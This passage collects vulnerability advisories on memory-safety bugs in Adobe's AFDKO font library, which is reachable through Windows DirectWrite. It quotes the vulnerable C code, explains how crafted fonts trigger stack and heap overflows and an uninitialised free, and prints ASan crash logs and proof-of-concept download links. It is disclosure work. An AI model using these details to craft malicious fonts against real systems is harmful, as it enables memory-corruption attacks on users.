  2303          h->stack.cnt = 0; /* Clear stack */
  2304      }                     /* End: while (cstr < end) */
--- cut ---

This leaves us with callgrel and SETWVN. In both cases, the out-of-bounds argument would have to be valid in the context of those instructions in order for them to not return with an error. Due to the fact that the POP() macro first decrements h->stack.cnt and then reads from h->stack.array[h->stack.cnt], the value read will always be 0xffffffff, interpreted as a float. A 32-bit float with a binary representation of 0xffffffff (which translates to NaN) takes the value of 0x80000000 when cast to an integer. According to our analysis, it is impossible for 0x80000000 to act as a valid subroutine index (in case of callgrel) or number of cube axes (in case of SETWVN). As a result, the handlers will return an error in the following locations before another instruction can execute with the negative stack index:

--- cut ---
  1298                  long num = unbiasLE((long)POP(), h->aux->gsubrs.cnt);
  1299                  if (num == -1)
  1300                      return t2cErrCallgsubr;
--- cut ---

and:

--- cut ---
  1913                              int numAxes = (int)POP();
  1914                              result = do_set_weight_vector_cube(h, numAxes);
  1915                              if (result || !(h->flags & FLATTEN_CUBE))
  1916                                  return result;
--- cut ---

In summary, the missing CHKUFLOW() instances currently seem non-exploitable due to coincidental memory layout, conversions between data types and the semantics of the affected instructions. On the other hand, if only one of the above conditions changed in the future, these issues could become trivially exploitable by making it possible to overwrite t2cCtx.stack.cnt with an arbitrary value, thus potentially enabling arbitrary relative reads/writes on the native stack. We therefore recommend fixing the bugs despite the current exploitability assessment. 

-----=====[ Proof of Concept ]=====-----

The proof of concept file contains a CharString for glyph "A" which consists only of one instruction, rmoveto. When the instruction executes, the interpreter stack is empty, so it picks up the arguments from h->stack.array[-1] and h->stack.array[-2], demonstrating the bug.

-----=====[ Crash logs ]=====-----

It seems impossible to craft a font file which crashes a regular build of the CharString interpreter. However, we have patched the t2cstr.c source code to insert AddressSanitizer redzones in between the various arrays in the t2cCtx structure. A "tx" program compiled with this patch and started with a ./tx -cff poc.otf command crashes with the following report:

--- cut ---
=================================================================
==122021==ERROR: AddressSanitizer: use-after-poison on address 0x7fffd5a9364c at pc 0x00000067a35c bp 0x7fffd5a8fc30 sp 0x7fffd5a8fc28
READ of size 4 at 0x7fffd5a9364c thread T0
    #0 0x67a35b in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31
    #1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
    #2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
    #3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
    #4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18
    #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #9 0x7f6a599042b0 in __libc_start_main
    #10 0x41e5b9 in _start

Address 0x7fffd5a9364c is located in stack of thread T0 at offset 76 in frame
    #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523

  This frame has 2 object(s):
    [32, 757896) 'h' (line 2524) <== Memory access at offset 76 is inside this variable
    [758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 in t2Decode
Shadow bytes around the buggy address:
  0x10007ab4a670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007ab4a6c0: f1 f1 f1 f1 00 00 f7 f7 f7[f7]00 00 00 00 00 00
  0x10007ab4a6d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a6e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a6f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ab4a710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==122021==ABORTING
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47091.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.

In this specific case, the uninitialized memory used in the vulnerable code originates from the client-provided allocator callback. According to our analysis the callback provided by DirectWrite zeroes out the returned memory by itself, which should reduce the impact of the bug to a NULL pointer dereference. However, in case the implementation of the allocator ever changes in the future, we have opted to report the bug despite its apparent low severity at this time, especially considering that the resulting primitive is the invocation of a function pointer loaded from the uninitialized address.

-----=====[ Description ]=====-----

The bug resides in the support of variable fonts, and specifically in the loading of the "avar" table. We're interested in the following structures (from source/varread/varread.c):

--- cut ---
    84  /* avar table */
    85  struct var_avar_;
    86  typedef struct var_avar_ *var_avar;
    87
[...]
    91
    92  /* avar table */
    93
    94  typedef struct axisValueMap_ {
    95      Fixed fromCoord;
    96      Fixed toCoord;
    97  } axisValueMap;
    98
    99  typedef dnaDCL(axisValueMap, axisValueMapArray);
   100
   101  typedef struct segmentMap_ {
   102      unsigned short positionMapCount;
   103      axisValueMapArray valueMaps;
   104  } segmentMap;
   105
   106  typedef dnaDCL(segmentMap, segmentMapArray);
   107
   108  struct var_avar_ {
   109      unsigned short axisCount;
   110      segmentMapArray segmentMaps;
   111  };
--- cut ---

In other words, an "avar" structure contains a list of segment maps, each of which contains a list of value maps. The object is allocated and initialized in the var_loadavar() function. It is possible to bail out of the parsing in several places in the code:

--- cut ---
   297      if (table->length < AVAR_TABLE_HEADER_SIZE + (unsigned long)AVAR_SEGMENT_MAP_SIZE * avar->axisCount) {
   298          sscb->message(sscb, "invalid avar table size or axis/instance count/size");
   299          goto cleanup;
   300      }
   301
   302      dnaINIT(sscb->dna, avar->segmentMaps, 0, 1);
   303      if (dnaSetCnt(&avar->segmentMaps, DNA_ELEM_SIZE_(avar->segmentMaps), avar->axisCount) < 0)
   304          goto cleanup;
[...]
   311          if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) {
   312              sscb->message(sscb, "avar axis value map out of bounds");
   313              goto cleanup;
   314          }
   315
   316          dnaINIT(sscb->dna, seg->valueMaps, 0, 1);
   317          if (dnaSetCnt(&seg->valueMaps, DNA_ELEM_SIZE_(seg->valueMaps), seg->positionMapCount) < 0)
   318              goto cleanup;
--- cut ---

which leads to freeing the entire "avar" object:

--- cut ---
   339  cleanup:;
   340      HANDLER
   341      END_HANDLER
   342
   343      if (!success) {
   344          var_freeavar(sscb, avar);
   345          avar = 0;
   346      }
--- cut ---

When a parsing error occurs, the object may be only partially initialized. However, the var_freeavar() function doesn't take it into account and unconditionally attempts to free all value maps lists inside of all segment maps lists:

--- cut ---
   255  static void var_freeavar(ctlSharedStmCallbacks *sscb, var_avar avar) {
   256      if (avar) {
   257          unsigned short i;
   258
   259          for (i = 0; i < avar->axisCount; i++) {
   260              dnaFREE(avar->segmentMaps.array[i].valueMaps);
   261          }
   262          dnaFREE(avar->segmentMaps);
   263
   264          sscb->memFree(sscb, avar);
   265      }
   266  }
--- cut ---

In the code above, the data under avar->segmentMaps.array[i].valueMaps may be uninitialized. The dnaFREE() call translates to (source/dynarr/dynarr.c):

--- cut ---
   178  /* Free dynamic array object. */
   179  void dnaFreeObj(void *object) {
   180      dnaGeneric *da = (dnaGeneric *)object;
   181      if (da->size != 0) {
   182          dnaCtx h = da->ctx;
   183          h->mem.manage(&h->mem, da->array, 0);
   184          da->size = 0;
   185      }
   186  }
--- cut ---

In line 183, the "h" pointer contains uninitialized bytes. As it is used to fetch a function pointer to call, the condition is a serious security vulnerability. However, it is important to note that the implementation of dynamic arrays in AFDKO relies on an external memory allocator provided by the library user, and so, the feasibility of exploitation may also depend on it. For example, the allocator in Microsoft DirectWrite returns zero-ed out memory, making the bug currently non-exploitable through that attack vector.

-----=====[ Proof of Concept ]=====-----

The proof of concept file triggers the bug by declaring avar->axisCount as 1 and having seg->positionMapCount set to 0xffff. This causes the following sanity check to fail, leading to a crash while freeing resources:

--- cut ---
   311          if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) {
   312              sscb->message(sscb, "avar axis value map out of bounds");
   313              goto cleanup;
   314          }
--- cut ---

-----=====[ Crash logs ]=====-----

A crash log from the "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183
183             h->mem.manage(&h->mem, da->array, 0);
(gdb) where
#0  0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183
#1  0x00000000007e399a in var_freeavar (sscb=0x62a000004fa8, avar=0x6060000001a0) at ../../../../../source/varread/varread.c:260
#2  0x00000000007e37be in var_loadavar (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:344
#3  0x00000000007dfb5d in var_loadaxes (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:484
#4  0x0000000000527f74 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
    at ../../../../../source/cffread/cffread.c:2681
#5  0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#6  0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf")
    at ../../../../source/tx.c:429
#7  0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf")
    at ../../../../source/tx.c:488
#8  0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558
#9  0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631
(gdb) print h
$1 = (dnaCtx) 0xbebebebebebebebe
(gdb)
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47090.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.

In this specific case, setting the CFR_FLATTEN_CUBE flag while interacting with AFDKO is required to trigger the bug. According to our analysis, DirectWrite currently doesn't specify this flag, but it still contains the do_set_weight_vector_cube() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_FLATTEN_CUBE flag is ever added in the future, we have opted to report the bug despite its apparent unreachability at this time.

-----=====[ Description ]=====-----

The bug resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, with the following definition:

--- cut ---
   985  static int do_set_weight_vector_cube(t2cCtx h, int nAxes) {
--- cut ---

The nAxes parameter can be controlled through the tx_SETWVN instruction:

--- cut ---
  1912                          case tx_SETWVN: {
  1913                              int numAxes = (int)POP();
  1914                              result = do_set_weight_vector_cube(h, numAxes);
  1915                              if (result || !(h->flags & FLATTEN_CUBE))
  1916                                  return result;
--- cut ---

The assumption is that the number of axes specified by the fon't won't be greater than 9, as specified by the kMaxCubeAxes constant in afdko/c/public/lib/resource/txops.h:

--- cut ---
   194  #define kMaxCubeAxes 9
--- cut ---

However this assumption is never explicitly verified in do_set_weight_vector_cube(). As a result, if the FLATTEN_CUBE flag is set in h->flags, the following code will be executed:

--- cut ---
   989      int nMasters = 1 << nAxes;
   990      float NDV[kMaxCubeAxes];
[...]
  1035      while (i < nAxes) {
  1036          NDV[i] = (float)((100 + (long)composeOps[3 + i]) / 200.0);
  1037          i++;
  1038      }
  1039
  1040      /* Compute Weight Vector */
  1041      for (i = 0; i < nMasters; i++) {
  1042          h->cube[h->cubeStackDepth].WV[i] = 1;
  1043          for (j = 0; j < nAxes; j++)
  1044              h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j];
  1045      }
--- cut ---

If nAxes larger than 9 is specified, the local NDV[] buffer will be overflown in line 1036, followed by another buffer overflow in lines 1042 and 1044, as the WV[] array only consists of 2**9 elements, but the loops will try to write 2**10 or a larger power of 2 of values.

According to our observations, one of the biggest clients of AFDKO, Microsoft DirectWrite, doesn't set the CFR_FLATTEN_CUBE flag while interacting with the library, and is therefore not affected by the vulnerability (because it follows a different path to compose_callback). In the standard "tx" tool, the flag can be toggled on with the "-cubef" argument:

--- cut ---
-cubef          flattens Cube source to a normal Type 1 font. Can be used with all output formats
--- cut ---

-----=====[ Proof of Concept ]=====-----

The proof of concept file triggers the bug by using the tx_SETWVN instruction to call do_set_weight_vector_cube(nAxes=16) in the CharString of the "A" glyph.

-----=====[ Crash logs ]=====-----

A crash log from the "tx" tool compiled with AddressSanitizer, run as ./tx -cubef -cff <path to font file>:

--- cut ---
=================================================================
==119029==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xff934174 at pc 0x083112cc bp 0xff934128 sp 0xff934120
WRITE of size 4 at 0xff934174 thread T0
    #0 0x83112cb in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16
    #1 0x82f4112 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1914:38
    #2 0x82e4816 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1412:34
    #3 0x82da1c4 in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
    #4 0x8194f84 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
    #5 0x8194131 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
    #6 0x8156184 in cfrReadFont afdko/c/tx/source/tx.c:151:18
    #7 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
    #8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
    #10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
    #11 0xf7b9c275 in __libc_start_main
    #12 0x806a590 in _start

Address 0xff934174 is located in stack of thread T0 at offset 52 in frame
    #0 0x83100ef in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:985

  This frame has 1 object(s):
    [16, 52) 'NDV' (line 990) <== Memory access at offset 52 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 in do_set_weight_vector_cube
Shadow bytes around the buggy address:
  0x3ff267d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff267e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff267f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff26800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff26810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3ff26820: 00 00 00 00 00 00 00 00 f1 f1 00 00 00 00[04]f3
  0x3ff26830: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff26840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff26850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff26860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ff26870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==119029==ABORTING
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47089.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.

In this specific case, the CFR_NO_ENCODING flag must be unset while interacting with AFDKO to trigger the bug. According to our analysis, DirectWrite currently does specify this flag, but it still contains the readEncoding() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_NO_ENCODING flag is ever removed in the future, we have opted to report the bug despite its apparent unreachability at this time.

-----=====[ Description ]=====-----

The readEncoding() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the encoding table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO, if the CFR_NO_ENCODING flag is not set. The relevant part of the function is shown below:

--- cut ---
  2288              fmt = read1(h);
  2289
  2290              switch (fmt & 0x7f) {
  2291                  case 0:
  2292                      cnt = read1(h);
  2293                      while (gid <= cnt)
  2294                          encAdd(h, &h->glyphs.array[gid++], read1(h));
  2295                      break;
  2296                  case 1:
  2297                      cnt = read1(h);
  2298                      while (cnt--) {
  2299                          short code = read1(h);
  2300                          int nLeft = read1(h);
  2301                          while (nLeft-- >= 0)
  2302                              encAdd(h, &h->glyphs.array[gid++], code++);
  2303                      }
  2304                      break;
  2305                  default:
  2306                      fatal(h, cfrErrEncodingFmt);
  2307              }
--- cut ---

In both loops in lines 2292-2294 and 2297-2303, the code doesn't consider the size of the h->glyphs array and writes to it solely based on the encoding information. If the values read from the input stream in lines 2292, 2297 and/or 2300 exceed the number of glyphs in the font, the array may be overflown by the encAdd() function, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font:

--- cut ---
  1791      dnaSET_CNT(h->glyphs, index.count);
--- cut ---

-----=====[ Proof of Concept ]=====-----

The three attached proof of concept files were generated by a fuzzer running against the "tx" utility compiled with AddressSanitizer. They are not complete OpenType fonts but rather raw CFF streams, which causes tx to not use the CFR_NO_ENCODING flag, which is necessary to reach the vulnerable readEncoding() function (c/tx/source/tx.c):

--- cut ---
   425              case src_OTF:
   426                  h->cfr.flags |= CFR_NO_ENCODING;
   427                  /* Fall through */
   428              case src_CFF:
   429                  cfrReadFont(h, rec->offset, rec->iTTC);
   430                  break;
--- cut ---

-----=====[ Crash logs ]=====-----

A 64-bit "tx" program compiled with ASAN crashes with the following report when started with a ./tx -cff poc.cff command:

--- cut ---
=================================================================
==205898==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b220 at pc 0x0000005573aa bp 0x7fff35b2b5c0 sp 0x7fff35b2b5b8
READ of size 8 at 0x62a00000b220 thread T0
    #0 0x5573a9 in encAdd afdko/c/public/lib/source/cffread/cffread.c:2203:14
    #1 0x540f80 in readEncoding afdko/c/public/lib/source/cffread/cffread.c:2302:29
    #2 0x529eb9 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2805:17
    #3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #8 0x7f116e1722b0 in __libc_start_main
    #9 0x41e5b9 in _start

0x62a00000b220 is located 32 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200)
allocated by thread T0 here:
    #0 0x4c63f3 in __interceptor_malloc
    #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
    #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
    #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
    #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
    #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
    #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #12 0x7f116e1722b0 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2203:14 in encAdd
Shadow bytes around the buggy address:
  0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c547fff9640: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==205898==ABORTING
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47093.zip